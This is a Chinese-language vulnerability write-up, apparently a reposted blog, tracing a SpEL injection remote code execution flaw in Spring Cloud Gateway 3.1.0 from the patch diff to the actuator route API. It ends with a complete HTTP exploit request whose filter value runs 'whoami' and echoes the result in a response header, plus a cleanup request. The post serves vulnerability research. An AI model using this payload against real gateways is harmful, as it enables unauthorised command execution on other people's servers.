2022-3-3 14:37:17 Author: y4er.com(查看原文) 阅读量:21 收藏
1git clone https://github.com/spring-cloud/spring-cloud-gateway
2cd spring-cloud-gateway
3git checkout v3.1.0
看diff https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue这个函数用GatewayEvaluationContext替换了StandardEvaluationContext来执行spel表达式
回溯执行点
说明是个spel表达式的rce，向上回溯找到org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType枚举
找到四个地方都在ShortcutConfigurable接口类里，分布在ShortcutType的三个枚举值，见上图圈起来的部分。
三个枚举值都重写了org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize函数
在ShortcutConfigurable接口类中有一个虚拟拓展方法shortcutType()，用到的是ShortcutType.DEFAULT枚举。
继续向上查找shortcutType()函数的引用到 org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties
这个normalizeProperties()是对filter的属性进行解析，会将filter的配置属性传入normalize中,最后进入getValue执行SPEL表达式造成SPEL表达式注入。
正向看filter
根据文档https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html 来看，用户可以通过actuator在网关中创建和删除路由。
路由格式
在idea中通过actuator的mapping功能找到controller
然后看RouteDefinition
其中FilterDefinition类需要有一个name和args键值对。
而name在创建路由的时候进行了校验
name需要和已有的filter相匹配
动态调试看一下已有的name
那么到这里利用已经呼之欲出了
先创建路由，filter中填充spel表达式，然后refresh执行。
name用到了RewritePath，对应的是org.springframework.cloud.gateway.filter.factory.RewritePathGatewayFilterFactory#apply
需要注意的是这里args中键名要填充replacement属性，不然会报空指针
然后refresh
rce
堆栈如下
1getValue:251, SpelExpression (org.springframework.expression.spel.standard)
2getValue:60, ShortcutConfigurable (org.springframework.cloud.gateway.support)
3normalize:94, ShortcutConfigurable$ShortcutType$1 (org.springframework.cloud.gateway.support)
4normalizeProperties:140, ConfigurationService$ConfigurableBuilder (org.springframework.cloud.gateway.support)
5bind:241, ConfigurationService$AbstractBuilder (org.springframework.cloud.gateway.support)
6loadGatewayFilters:144, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
7getFilters:176, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
8convertToRoute:117, RouteDefinitionRouteLocator (org.springframework.cloud.gateway.route)
9apply:-1, 150385835 (org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator$$Lambda$874)
10onNext:106, FluxMap$MapSubscriber (reactor.core.publisher)
11tryEmitScalar:488, FluxFlatMap$FlatMapMain (reactor.core.publisher)
12onNext:421, FluxFlatMap$FlatMapMain (reactor.core.publisher)
13drain:432, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
14innerComplete:328, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
15onSubscribe:552, FluxMergeSequential$MergeSequentialInner (reactor.core.publisher)
16subscribe:165, FluxIterable (reactor.core.publisher)
17subscribe:87, FluxIterable (reactor.core.publisher)
18subscribe:8469, Flux (reactor.core.publisher)
19onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
20slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
21request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
22onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
23subscribe:165, FluxIterable (reactor.core.publisher)
24subscribe:87, FluxIterable (reactor.core.publisher)
25subscribe:8469, Flux (reactor.core.publisher)
26onNext:237, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
27slowPath:272, FluxIterable$IterableSubscription (reactor.core.publisher)
28request:230, FluxIterable$IterableSubscription (reactor.core.publisher)
29onSubscribe:198, FluxMergeSequential$MergeSequentialMain (reactor.core.publisher)
30subscribe:165, FluxIterable (reactor.core.publisher)
31subscribe:87, FluxIterable (reactor.core.publisher)
32subscribe:4400, Mono (reactor.core.publisher)
33subscribeWith:4515, Mono (reactor.core.publisher)
34subscribe:4371, Mono (reactor.core.publisher)
35subscribe:4307, Mono (reactor.core.publisher)
36subscribe:4279, Mono (reactor.core.publisher)
37onApplicationEvent:81, CachingRouteLocator (org.springframework.cloud.gateway.route)
38onApplicationEvent:40, CachingRouteLocator (org.springframework.cloud.gateway.route)
39doInvokeListener:176, SimpleApplicationEventMulticaster (org.springframework.context.event)
40invokeListener:169, SimpleApplicationEventMulticaster (org.springframework.context.event)
41multicastEvent:143, SimpleApplicationEventMulticaster (org.springframework.context.event)
42publishEvent:421, AbstractApplicationContext (org.springframework.context.support)
43publishEvent:378, AbstractApplicationContext (org.springframework.context.support)
44refresh:96, AbstractGatewayControllerEndpoint (org.springframework.cloud.gateway.actuate)
45...省略...
上述文章知，通过getValue()函数可以讲args的value执行spel表达式，并且保存为properties，那么properties在哪里可以返回给我们的http response呢？
在org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply中，将config的键值对添加到header中
那么可以用AddResponseHeader来构造请求包
1POST /actuator/gateway/routes/test1 HTTP/1.1
2Host: 172.16.16.1:8081
3Content-Length: 300
4Content-Type: application/json
5Connection: close
6
7{
8 "id": "test1",
9 "filters": [
10 {
11 "name": "AddResponseHeader",
12 "args": {
13 "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
14 "name": "cmd123"
15 }
16 }
17 ],
18 "uri": "http://aaa.com",
19 "order": 0
20}
在构造这个请求包的时候遇到了几个问题，第一个是我构造的时候没有传uri和order，爆空指针异常。然后多次调试后发现在org.springframework.cloud.gateway.route.Route#async(org.springframework.cloud.gateway.route.RouteDefinition)函数中对routeDefinition参数进行了处理，所以必须要有uri和order。
uri还必须是一个正确的url才行。
第二个问题是value必须是一个String类型，否则在bind的时候会报类型不匹配异常。因为AddResponseHeaderGatewayFilterFactory采用的配置是NameValueConfig实例，而value是string类型。
最后回显效果如图
最后删除自己创建的路由
1DELETE /actuator/gateway/routes/test1 HTTP/1.1
2Host: 172.16.16.1:8081
3Connection: close
这个漏洞是用codeql挖出来的，这个东西真得学一学了。
最后感慨一下，饭前刚想出来用AddResponseHeader回显，调试了一些觉得有戏就吃饭了，午休一觉睡醒迷糊之间就发现p牛就发了vulhub环境加poc。
夫破人之与破于人也，臣人之与臣于人也，岂可同日而言之哉？
文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。
如有侵权请联系:admin#unsafe.sh